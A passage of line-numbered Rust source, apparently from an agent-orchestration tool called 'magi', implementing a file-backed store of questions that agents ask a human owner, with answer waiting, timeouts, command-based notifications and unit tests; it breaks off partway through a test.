1621 {
1622 q = current;
1623 }
1624 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1625 && q.node == crate::land::APPROVAL_NODE
1626 && let Some(home) = self.root.parent()
1627 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1628 {
1629 let mut upgraded = q.clone();
1630 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1631 match self.update(&q.id, |current| {
1632 crate::land::upgrade_repair_choice(current, &state);
1633 Ok(())
1634 }) {
1635 Ok((current, ())) => return current,
1636 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1637 }
1638 }
1639 }
1640 q
1641 }
1642
1643 pub fn list(&self) -> Vec<Question> {
1651 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1652 .into_iter()
1653 .flatten()
1654 .flatten()
1655 .map(|e| e.path())
1656 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1657 .filter_map(|p| read_path(&p).ok())
1658 .map(|q| self.with_repair_choice(q))
1659 .collect();
1660 all.sort_unstable_by(|a, b| {
1661 let rank = |q: &Question| u8::from(!q.status.open());
1662 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1663 });
1664 all
1665 }
1666
1667 pub fn open_for(&self, run: &str) -> Vec<Question> {
1673 self.list()
1674 .into_iter()
1675 .filter(|q| q.status.open() && q.run == run)
1676 .collect()
1677 }
1678
1679 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1692 let mut abandoned = 0;
1693 for mut q in self.open_for(run) {
1694 q.abandon(why);
1695 self.put(&mut q)?;
1696 abandoned += 1;
1697 }
1698 Ok(abandoned)
1699 }
1700
1701 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1725 if status.resumable() {
1726 return Ok(0);
1727 }
1728 let why = format!(
1729 "run {run} {}, so nothing is waiting for this answer",
1730 status.as_str()
1731 );
1732 let mut abandoned = 0;
1737 for mut q in self.open_for(run) {
1738 if q.node == crate::bump::NOTICE_NODE {
1739 continue;
1740 }
1741 if q.routed_task.is_some() && q.routed_chat.is_none() {
1745 continue;
1746 }
1747 q.abandon(&why);
1748 self.put(&mut q)?;
1749 abandoned += 1;
1750 }
1751 Ok(abandoned)
1752 }
1753
1754 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1757 use crate::queue::{Reference, record_ids, resolve_reference};
1758 let ids = record_ids(&self.root, "json")?;
1759 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1760 Reference::Found(id) => Ok(id),
1761 Reference::Missing => bail!("no question matches `{prefix}`"),
1762 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1763 }
1764 }
1765
1766 pub fn revision(&self) -> u64 {
1770 std::fs::read_dir(&self.root)
1771 .into_iter()
1772 .flatten()
1773 .flatten()
1774 .filter_map(|e| e.metadata().ok())
1775 .filter_map(|m| m.modified().ok())
1776 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1777 .map(|d| d.as_millis() as u64)
1778 .max()
1779 .unwrap_or(0)
1780 }
1781
1782 pub fn count_open(&self) -> usize {
1788 self.list().iter().filter(|q| q.status.open()).count()
1789 }
1790
1791 pub fn count_needs_owner(&self) -> usize {
1800 self.list()
1801 .iter()
1802 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1803 .count()
1804 }
1805
1806 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1810 q.status.open()
1811 && q.deputy
1812 .as_ref()
1813 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1814 && !self
1815 .read_lease(&q.id)
1816 .is_some_and(|l| l.fresh(Timestamp::now()))
1817 }
1818}
1819
1820#[derive(Debug, Clone, PartialEq, Eq)]
1822pub enum Wait {
1823 Answered(String),
1825 Replied(String),
1830 Pending,
1837 Abandoned,
1842}
1843
1844pub async fn ask_and_wait(
1851 q: &mut Question,
1852 store: &Questions,
1853 notify: &config::Notify,
1854 timeout: Duration,
1855) -> Result<Wait> {
1856 wait_for_owner(q, store, notify, timeout, POLL).await
1857}
1858
1859pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1874 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1875}
1876
1877async fn wait_for_owner(
1883 q: &mut Question,
1884 store: &Questions,
1885 cfg: &config::Notify,
1886 timeout: Duration,
1887 poll: Duration,
1888) -> Result<Wait> {
1889 if !store.path_of(&q.id).is_file() {
1893 store.put(q).context("file the question")?;
1894 }
1895 if q.should_notify(Timestamp::now()) {
1896 if let Err(e) = notify(cfg, q).await {
1897 tracing::warn!(
1902 "could not notify about question {}: {e:#} - the web UI is the \
1903 only surface for it now",
1904 q.short()
1905 );
1906 }
1907 }
1908 tracing::info!(
1909 "question {} from {} is waiting for you: {}",
1910 q.short(),
1911 q.seat,
1912 q.summary
1913 );
1914 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1915}
1916
1917fn hold(store: &Questions, id: &str) {
1919 store.beat(id, WaiterKind::Asker);
1920 let took = store.update(id, |q| {
1921 if q.status.open() {
1922 q.waiter = Some(Waiter {
1923 kind: WaiterKind::Asker,
1924 since: Timestamp::now(),
1925 });
1926 }
1927 Ok(())
1928 });
1929 if let Err(e) = took {
1930 tracing::debug!("could not note the wait on question {id}: {e:#}");
1931 }
1932}
1933
1934pub fn hand_over(store: &Questions, q: &mut Question) {
1942 let done = store.update(&q.id, |r| {
1943 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1944 if r.status == QuestionStatus::Answered {
1945 r.answer_delivered = true;
1946 }
1947 r.waiter = None;
1948 Ok(())
1949 });
1950 match done {
1951 Ok((fresh, ())) => *q = fresh,
1952 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1953 }
1954}
1955
1956pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1960 let says = q.undelivered_owner_turns();
1961 if says.is_empty() {
1962 return answer.to_owned();
1963 }
1964 format!(
1965 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1966 says.join("\n\n")
1967 )
1968}
1969
1970pub fn deliver_answer(
1973 store: &Questions,
1974 q: &mut Question,
1975 answer: &str,
1976 out: &mut impl std::io::Write,
1977) -> std::io::Result<()> {
1978 writeln!(out, "{}", answer_for_agent(q, answer))?;
1979 out.flush()?;
1980 hand_over(store, q);
1981 Ok(())
1982}
1983
1984async fn wait_loop(
1994 q: &mut Question,
1995 store: &Questions,
1996 timeout: Duration,
1997 slice: Duration,
1998 poll: Duration,
1999) -> Result<Wait> {
2000 if let Some(said) = q.unread_from_owner() {
2010 return Ok(Wait::Replied(said));
2011 }
2012 hold(store, &q.id);
2013
2014 let bounded = timeout.min(slice);
2015 let is_the_real_deadline = bounded >= timeout;
2016 let deadline = tokio::time::Instant::now() + bounded;
2017 loop {
2018 let now = tokio::time::Instant::now();
2019 if now >= deadline {
2020 if !is_the_real_deadline {
2021 return Ok(Wait::Pending);
2025 }
2026 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2027 let (fresh, unread) = store
2031 .update(&q.id, |r| {
2032 let unread = r.unread_from_owner();
2033 if unread.is_none() {
2034 r.abandon(&why);
2035 r.waiter = None;
2036 }
2037 Ok(unread)
2038 })
2039 .context("record the abandoned question")?;
2040 *q = fresh;
2041 if let Some(said) = unread {
2042 return Ok(Wait::Replied(said));
2043 }
2044 tracing::warn!(
2045 "question {} went unanswered for {}s; the run parks and the \
2046 question stays as the record of it",
2047 q.short(),
2048 timeout.as_secs()
2049 );
2050 return Ok(Wait::Abandoned);
2051 }
2052 tokio::time::sleep(poll.min(deadline - now)).await;
2053 store.beat(&q.id, WaiterKind::Asker);
2054 match store.get(&q.id) {
2055 Ok(fresh) if !fresh.status.open() => {
2056 *q = fresh;
2060 return Ok(match q.resolution() {
2061 Some(a) => Wait::Answered(a),
2062 None => Wait::Abandoned,
2065 });
2066 }
2067 Ok(fresh) => {
2068 if let Some(said) = fresh.unread_from_owner() {
2069 *q = fresh;
2070 return Ok(Wait::Replied(said));
2071 }
2072 }
2075 Err(e) => {
2076 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2080 }
2081 }
2082 }
2083}
2084
2085pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2096 if q.routed_task.is_some() {
2097 return Ok(());
2098 }
2099 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2100 if q.status.open() {
2101 summary.push_str(&format!(
2102 " Respond in Questions or with `magi answer {}`.",
2103 q.id
2104 ));
2105 }
2106 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2107 notify_at(cmd, &q.run, &summary, &url).await
2108}
2109
2110pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2113 let url = view_url(
2114 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2115 "notifications",
2116 );
2117 notify_at(cmd, run, summary, &url).await
2118}
2119
2120async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2121 let Some((program, args)) = cmd.command.split_first() else {
2122 return Ok(());
2124 };
2125 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2126 tracing::warn!(
2127 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2128 so the link will be empty - export it next to `magi serve` with \
2129 the address `magi web --open` printed"
2130 );
2131 }
2132 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2133 tracing::debug!(program = %program, args = ?argv, "notifying");
2134
2135 let mut child = tokio::process::Command::new(program);
2136 child.quiet();
2137 child
2138 .args(&argv)
2139 .stdin(std::process::Stdio::null())
2140 .kill_on_drop(true);
2143 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2144 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2145 Err(_) => bail!(
2146 "notification command `{program}` did not finish within {}s",
2147 NOTIFY_TIMEOUT.as_secs()
2148 ),
2149 };
2150 if !out.status.success() {
2151 let stderr = String::from_utf8_lossy(&out.stderr);
2152 let why = stderr
2153 .lines()
2154 .rev()
2155 .find(|l| !l.trim().is_empty())
2156 .unwrap_or("no output on stderr")
2157 .trim();
2158 bail!(
2159 "notification command `{program}` exited with {}: {why}",
2160 out.status
2161 );
2162 }
2163 Ok(())
2164}
2165
2166fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2172 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2173 let mut out = String::with_capacity(template.len());
2174 let mut rest = template;
2175 while let Some(at) = rest.find('{') {
2176 out.push_str(&rest[..at]);
2177 let tail = &rest[at..];
2178 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2179 Some((token, value)) => {
2180 out.push_str(value);
2181 rest = &tail[token.len()..];
2182 }
2183 None => {
2184 out.push('{');
2186 rest = &tail[1..];
2187 }
2188 }
2189 }
2190 out.push_str(rest);
2191 out
2192}
2193
2194fn question_url(base: &str) -> String {
2201 view_url(base, "questions")
2202}
2203
2204fn view_url(base: &str, view: &str) -> String {
2205 let base = base.trim().trim_end_matches('/');
2206 if base.is_empty() || base.contains('#') {
2207 return base.to_owned();
2208 }
2209 format!("{base}/#/{view}")
2210}
2211
2212fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2217 let index = dir.join(PANEL_HTML);
2218 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2219 for (name, src) in assets {
2220 let dst = dir.join(name);
2221 std::fs::copy(src, &dst)
2222 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2223 }
2224 Ok(())
2225}
2226
2227fn clear_dir(path: &Path) -> Result<()> {
2232 match std::fs::remove_dir_all(path) {
2233 Ok(()) => Ok(()),
2234 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2235 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2236 }
2237}
2238
2239fn read_path(path: &Path) -> Result<Question> {
2240 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2241 let q: Question =
2242 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2243 if q.schema > SCHEMA {
2244 bail!(
2249 "question {} was written by a newer magi (schema {}, this build \
2250 only speaks up to {SCHEMA})",
2251 q.id,
2252 q.schema
2253 );
2254 }
2255 Ok(q)
2256}
2257
2258pub fn short_id(id: &str) -> &str {
2260 short(id)
2261}
2262
2263fn short(id: &str) -> &str {
2264 id.split('-').next_back().unwrap_or(id)
2265}
2266
2267fn new_id() -> String {
2268 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2269 new_id_at(&stamp.to_string(), crate::rng::entropy())
2270}
2271
2272fn new_id_at(stamp: &str, seed: u64) -> String {
2273 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2278 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2279 format!(
2280 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2281 (seed ^ (seed >> 32)) & 0xffff
2282 )
2283}
2284
2285#[cfg(test)]
2286mod tests {
2287 use super::*;
2288
2289 fn store() -> (tempfile::TempDir, Questions) {
2292 let dir = tempfile::tempdir().unwrap();
2293 let s = Questions::at(dir.path().join("questions"));
2294 (dir, s)
2295 }
2296
2297 #[test]
2298 fn run_names_task_only_for_task_questions() {
2299 for (node, want) in [
2300 (crate::conduct::NODE, true),
2301 (crate::triage::NODE, true),
2302 (crate::triage::DEPS_NODE, true),
2303 (crate::land::APPROVAL_NODE, false),
2304 (crate::bump::NOTICE_NODE, false),
2305 ("implement", false),
2306 ] {
2307 let mut q = choice_question();
2308 q.node = node.to_owned();
2309 assert_eq!(q.run_names_task(), want, "{node}");
2310 }
2311 }
2312
2313 #[test]
2314 fn deleting_a_run_stops_its_questions_asking() {
2315 let (_dir, store) = store();
2316
2317 let mut open_one = choice_question();
2318 store.put(&mut open_one).unwrap();
2319 let mut answered = free_question();
2320 answered
2321 .answer(Answer::Text("keep this".to_owned()))
2322 .unwrap();
2323 store.put(&mut answered).unwrap();
2324 let mut elsewhere = choice_question();
2325 elsewhere.run = "20260903-105039-3cbf".to_owned();
2326 store.put(&mut elsewhere).unwrap();
2327
2328 let n = store
2329 .abandon_for_run(&open_one.run, "run was deleted")
2330 .unwrap();
2331 assert_eq!(n, 1, "only the open question of that run");
2332
2333 let back = store.get(&open_one.id).unwrap();
2334 assert!(!back.status.open(), "it no longer asks for a decision");
2335 assert!(
2336 back.detail.contains("run was deleted"),
2337 "the operator can see why: {}",
2338 back.detail
2339 );
2340
2341 let kept = store.get(&answered.id).unwrap();
2342 assert_eq!(
2343 kept.status,
2344 QuestionStatus::Answered,
2345 "an answered question is a decision on record, not something to revoke"
2346 );
2347 assert!(
2348 store.get(&elsewhere.id).unwrap().status.open(),
2349 "another run's question is untouched"
2350 );
2351 assert!(store.open_for(&open_one.run).is_empty());
2352 }
2353
2354 #[test]
2355 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2356 let (_dir, store) = store();
2357 let mut q = choice_question();
2358 store.put(&mut q).unwrap();
2359
2360 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2362 assert_eq!(n, 0);
2363 assert!(store.get(&q.id).unwrap().status.open());
2364
2365 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2368 assert_eq!(n, 1);
2369 let back = store.get(&q.id).unwrap();
2370 assert!(!back.status.open());
2371 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2372
2373 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2375 }
2376
2377 #[test]
2378 fn settle_run_keeps_an_undelivered_routed_decision() {
2379 let (_dir, store) = store();
2380 let mut q = choice_question();
2381 q.routed_task = Some("task".into());
2382 store.put(&mut q).unwrap();
2383 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2384 assert!(store.get(&q.id).unwrap().status.open());
2385
2386 store
2388 .update(&q.id, |r| {
2389 r.routed_chat = Some("chat".into());
2390 Ok(())
2391 })
2392 .unwrap();
2393 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2394 }
2395
2396 fn choice_question() -> Question {
2397 Question::new(
2398 "20260902-201256-9fb7".to_owned(),
2399 "implement".to_owned(),
2400 "impl-A".to_owned(),
2401 "Which storage backend should the cache use?".to_owned(),
2402 "Both are already dependencies.".to_owned(),
2403 vec!["SQLite".to_owned(), "Redis".to_owned()],
2404 )
2405 }
2406
2407 fn free_question() -> Question {
2408 Question::new(
2409 "20260902-201256-9fb7".to_owned(),
2410 "review".to_owned(),
2411 "rev-1".to_owned(),
2412 "What should the error message say?".to_owned(),
2413 String::new(),
2414 Vec::new(),
2415 )
2416 }
2417
2418 fn quiet() -> config::Notify {
2420 config::Notify::default()
2421 }
2422
2423 #[test]
2424 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2425 let mut q = choice_question();
2429 q.id = "20260902-231501-ab12".to_owned();
2430 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2431 let keys: Vec<&str> = open
2435 .as_object()
2436 .unwrap()
2437 .keys()
2438 .map(String::as_str)
2439 .collect();
2440 assert_eq!(
2441 keys,
2442 [
2443 "actions",
2444 "answer",
2445 "answer_delivered",
2446 "answer_timeout",
2447 "answered_at",
2448 "asked_at",
2449 "assets",
2450 "choices",
2451 "consult",
2452 "cwd",
2453 "decision_context",
2454 "delivered_turns",
2455 "deputy",
2456 "detail",
2457 "id",
2458 "merge_target",
2459 "node",
2460 "panel",
2461 "routed_chat",
2462 "routed_task",
2463 "run",
2464 "schema",
2465 "seat",
2466 "status",
2467 "summary",
2468 "thread",
2469 "triage_generation",
2470 "waiter",
2471 ],
2472 "the on-disk field set is a contract with the front end"
2473 );
2474 assert_eq!(open["schema"], 13);
2475 assert_eq!(open["merge_target"], serde_json::Value::Null);
2476 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2477 assert_eq!(open["thread"], serde_json::json!([]));
2478 assert_eq!(open["id"], "20260902-231501-ab12");
2479 assert_eq!(open["run"], "20260902-201256-9fb7");
2480 assert_eq!(open["node"], "implement");
2481 assert_eq!(open["seat"], "impl-A");
2482 assert_eq!(open["status"], "open");
2483 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2484 assert_eq!(open["answered_at"], serde_json::Value::Null);
2485 assert_eq!(open["answer"], serde_json::Value::Null);
2486 let asked = open["asked_at"].as_str().unwrap();
2487 assert!(
2488 asked.ends_with('Z') && asked.contains('T'),
2489 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2490 );
2491
2492 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2494 let answered = serde_json::to_value(&q).unwrap();
2495 assert_eq!(answered["status"], "answered");
2496 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2497 assert!(answered["answered_at"].is_string());
2498
2499 let mut free = free_question();
2501 free.answer(Answer::Text("Say which file it was".to_owned()))
2502 .unwrap();
2503 assert_eq!(
2504 serde_json::to_value(&free).unwrap()["answer"],
2505 serde_json::json!({"text": "Say which file it was"})
2506 );
2507
2508 let body = serde_json::to_string(&q).unwrap();
2510 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2511 }
2512
2513 #[test]
2514 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2515 let (_dir, store) = store();
2516 let mut q = approval_question();
2517 q.merge_target = Some(crate::merge_decision::Target {
2518 pr: "https://github.com/example/repo/pull/42".into(),
2519 head: "reviewed-head".into(),
2520 language: "ja".into(),
2521 });
2522 store.put(&mut q).unwrap();
2523 let saved = store.get(&q.id).unwrap();
2524 assert_eq!(saved, q);
2525 let mut body = serde_json::to_value(&saved).unwrap();
2526 assert_eq!(body["schema"], 13);
2527 assert_eq!(
2528 body["merge_target"],
2529 serde_json::json!({
2530 "pr": "https://github.com/example/repo/pull/42",
2531 "head": "reviewed-head",
2532 "language": "ja"
2533 })
2534 );
2535
2536 body["schema"] = serde_json::json!(10);
2539 body.as_object_mut().unwrap().remove("merge_target");
2540 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2541 let legacy = store.get(&q.id).unwrap();
2542 assert_eq!(legacy.schema, 10);
2543 assert!(legacy.merge_target.is_none());
2544 assert_eq!(legacy.choices, q.choices);
2545 assert_eq!(legacy.status, q.status);
2546 }
2547
2548 #[test]
2549 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2550 let mut unoffered = choice_question();
2553 let a = unoffered
2554 .answer(Answer::Choice("Postgres".to_owned()))
2555 .unwrap_err()
2556 .to_string();
2557
2558 let mut typed = choice_question();
2559 let b = typed
2560 .answer(Answer::Text("use Postgres".to_owned()))
2561 .unwrap_err()
2562 .to_string();
2563
2564 let mut blank = free_question();
2565 let c = blank
2566 .answer(Answer::Text(" \n".to_owned()))
2567 .unwrap_err()
2568 .to_string();
2569
2570 let mut twice = choice_question();
2571 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2572 let d = twice
2573 .answer(Answer::Choice("Redis".to_owned()))
2574 .unwrap_err()
2575 .to_string();
2576
2577 assert!(a.contains("not one of the choices"), "{a}");
2578 assert!(b.contains("multiple choice"), "{b}");
2579 assert!(c.contains("empty"), "{c}");
2580 assert!(d.contains("already answered"), "{d}");
2581 let mut distinct = vec![a, b, c, d];
2582 let asked = distinct.len();
2583 distinct.sort_unstable();
2584 distinct.dedup();
2585 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2586
2587 assert_eq!(unoffered.status, QuestionStatus::Open);
2589 assert_eq!(typed.status, QuestionStatus::Open);
2590 assert_eq!(blank.status, QuestionStatus::Open);
2591 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2593
2594 let mut free = free_question();
2596 let e = free
2597 .answer(Answer::Choice("SQLite".to_owned()))
2598 .unwrap_err()
2599 .to_string();
2600 assert!(e.contains("free text"), "{e}");
2601 }
2602
2603 #[test]
2604 fn open_questions_are_listed_before_answered_ones() {
2605 let (_dir, s) = store();
2606 let mut old_open = choice_question();
2609 old_open.id = "20260101-000001-aaaa".to_owned();
2610 let mut new_open = choice_question();
2611 new_open.id = "20260101-000002-bbbb".to_owned();
2612 let mut answered = choice_question();
2613 answered.id = "20260101-000003-cccc".to_owned();
2614 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2615 for q in [&mut old_open, &mut new_open, &mut answered] {
2616 s.put(q).unwrap();
2617 }
2618
2619 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2620 assert_eq!(
2621 ids,
2622 [
2623 "20260101-000002-bbbb",
2624 "20260101-000001-aaaa",
2625 "20260101-000003-cccc"
2626 ],
2627 "what has stopped work comes first; history sorts underneath"
2628 );
2629 assert_eq!(s.count_open(), 2);
2630 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2631 assert!(s.open_for("some-other-run").is_empty());
2632 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2634 assert!(s.get("20260101-000002-bbbb").is_ok());
2635 assert!(s.resolve_id("nope").is_err());
2636 assert!(
2637 s.revision() > 0,
2638 "the store's mtime drives the phone's polling"
2639 );
2640 }
2641
2642 #[test]
2643 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2644 let (_dir, s) = store();
2645 let mut good = choice_question();
2646 s.put(&mut good).unwrap();
2647 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2649 let future = serde_json::json!({
2650 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2651 "seat": "s", "summary": "?", "detail": "", "choices": [],
2652 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2653 "answered_at": null, "answer": null,
2654 });
2655 std::fs::write(
2656 s.path_of("20260101-000010-beef"),
2657 serde_json::to_string(&future).unwrap(),
2658 )
2659 .unwrap();
2660
2661 let listed = s.list();
2662 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2663 assert_eq!(listed[0].id, good.id);
2664 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2666 assert!(e.contains("schema"), "{e}");
2667 }
2668
2669 #[tokio::test]
2670 async fn the_wait_returns_the_answer_another_process_wrote() {
2671 let (dir, s) = store();
2676 let mut q = choice_question();
2677 let id = q.id.clone();
2678 let writer = Questions::at(dir.path().join("questions"));
2679 let handle = tokio::spawn(async move {
2680 tokio::time::sleep(Duration::from_millis(30)).await;
2681 let mut fresh = writer.get(&id).expect("the question was filed first");
2682 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2683 writer.put(&mut fresh).unwrap();
2684 });
2685
2686 let got = wait_for_owner(
2687 &mut q,
2688 &s,
2689 &quiet(),
2690 Duration::from_secs(5),
2691 Duration::from_millis(10),
2692 )
2693 .await
2694 .unwrap();
2695
2696 handle.await.unwrap();
2697 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2698 assert_eq!(
2699 q.status,
2700 QuestionStatus::Answered,
2701 "the caller's copy is refreshed from the answering process's record"
2702 );
2703 assert!(q.answered_at.is_some());
2704 }
2705
2706 #[tokio::test]
2707 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2708 let (_dir, s) = store();
2709 let mut q = choice_question();
2710
2711 let got = wait_for_owner(
2712 &mut q,
2713 &s,
2714 &quiet(),
2715 Duration::from_millis(60),
2716 Duration::from_millis(10),
2717 )
2718 .await
2719 .unwrap();
2720
2721 assert_eq!(
2722 got,
2723 Wait::Abandoned,
2724 "a slow human is not an error; the run parks"
2725 );
2726 assert_eq!(q.status, QuestionStatus::Abandoned);
2727 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2728 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2729 assert!(
2730 on_disk.detail.contains("Abandoned:"),
2731 "why nobody answered belongs with the question: {}",
2732 on_disk.detail
2733 );
2734 assert!(on_disk.resolution().is_none());
2735 assert_eq!(s.count_open(), 0);
2736 }
2737
2738 #[tokio::test]
2739 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2740 let (_dir, s) = store();
2745 let mut q = choice_question();
2746 s.put(&mut q).unwrap();
2747
2748 let got = wait_loop(
2749 &mut q,
2750 &s,
2751 Duration::from_secs(3600),
2752 Duration::from_millis(30),
2753 Duration::from_millis(10),
2754 )
2755 .await
2756 .unwrap();
2757
2758 assert_eq!(
2759 got,
2760 Wait::Pending,
2761 "the clock on this call ran out, not the owner's patience"
2762 );
2763 assert_eq!(
2764 q.status,
2765 QuestionStatus::Open,
2766 "a slice expiring must never abandon the question"
2767 );
2768 let on_disk = s.get(&q.id).expect("still on disk, still open");
2769 assert_eq!(
2770 on_disk.status,
2771 QuestionStatus::Open,
2772 "nothing about the record changed just because this call gave up"
2773 );
2774 }
2775
2776 #[tokio::test]
2777 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2778 let (dir, s) = store();
2783 let mut q = choice_question();
2784 s.put(&mut q).unwrap();
2785
2786 let first = wait_loop(
2787 &mut q,
2788 &s,
2789 Duration::from_secs(3600),
2790 Duration::from_millis(30),
2791 Duration::from_millis(10),
2792 )
2793 .await
2794 .unwrap();
2795 assert_eq!(first, Wait::Pending);
2796
2797 let id = q.id.clone();
2798 let writer = Questions::at(dir.path().join("questions"));
2799 let mut fresh = writer.get(&id).unwrap();
2800 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2801 writer.put(&mut fresh).unwrap();
2802
2803 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2808 .await
2809 .unwrap();
2810 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2811 assert_eq!(q.status, QuestionStatus::Answered);
2812 }
2813
2814 #[tokio::test]
2815 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2816 let (dir, s) = store();
2826 let mut q = choice_question();
2827 s.put(&mut q).unwrap();
2828
2829 let first = wait_loop(
2830 &mut q,
2831 &s,
2832 Duration::from_secs(3600),
2833 Duration::from_millis(30),
2834 Duration::from_millis(10),
2835 )
2836 .await
2837 .unwrap();
2838 assert_eq!(first, Wait::Pending);
2839
2840 let id = q.id.clone();
2842 let writer = Questions::at(dir.path().join("questions"));
2843 let mut fresh = writer.get(&id).unwrap();
2844 fresh.say("why not Postgres?").unwrap();
2845 writer.put(&mut fresh).unwrap();
2846
2847 let mut resumed = s.get(&id).unwrap();
2851 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2852 .await
2853 .unwrap();
2854 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2855 assert_eq!(
2856 resumed.status,
2857 QuestionStatus::Open,
2858 "talking back is not a decision; the question stays open"
2859 );
2860 }
2861
2862 #[tokio::test]
2863 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2864 let (dir, s) = store();
2868 let broken = config::Notify {
2869 command: vec![
2870 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2871 "{summary}".to_owned(),
2872 ],
2873 };
2874 let mut q = choice_question();
2875 assert!(
2876 notify(&broken, &q).await.is_err(),
2877 "the caller is told; it decides that it does not matter"
2878 );
2879
2880 let id = q.id.clone();
2881 let writer = Questions::at(dir.path().join("questions"));
2882 let handle = tokio::spawn(async move {
2883 tokio::time::sleep(Duration::from_millis(30)).await;
2884 let mut fresh = writer.get(&id).unwrap();
2885 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2886 writer.put(&mut fresh).unwrap();
2887 });
2888 let got = wait_for_owner(
2889 &mut q,
2890 &s,
2891 &broken,
2892 Duration::from_secs(5),
2893 Duration::from_millis(10),
2894 )
2895 .await
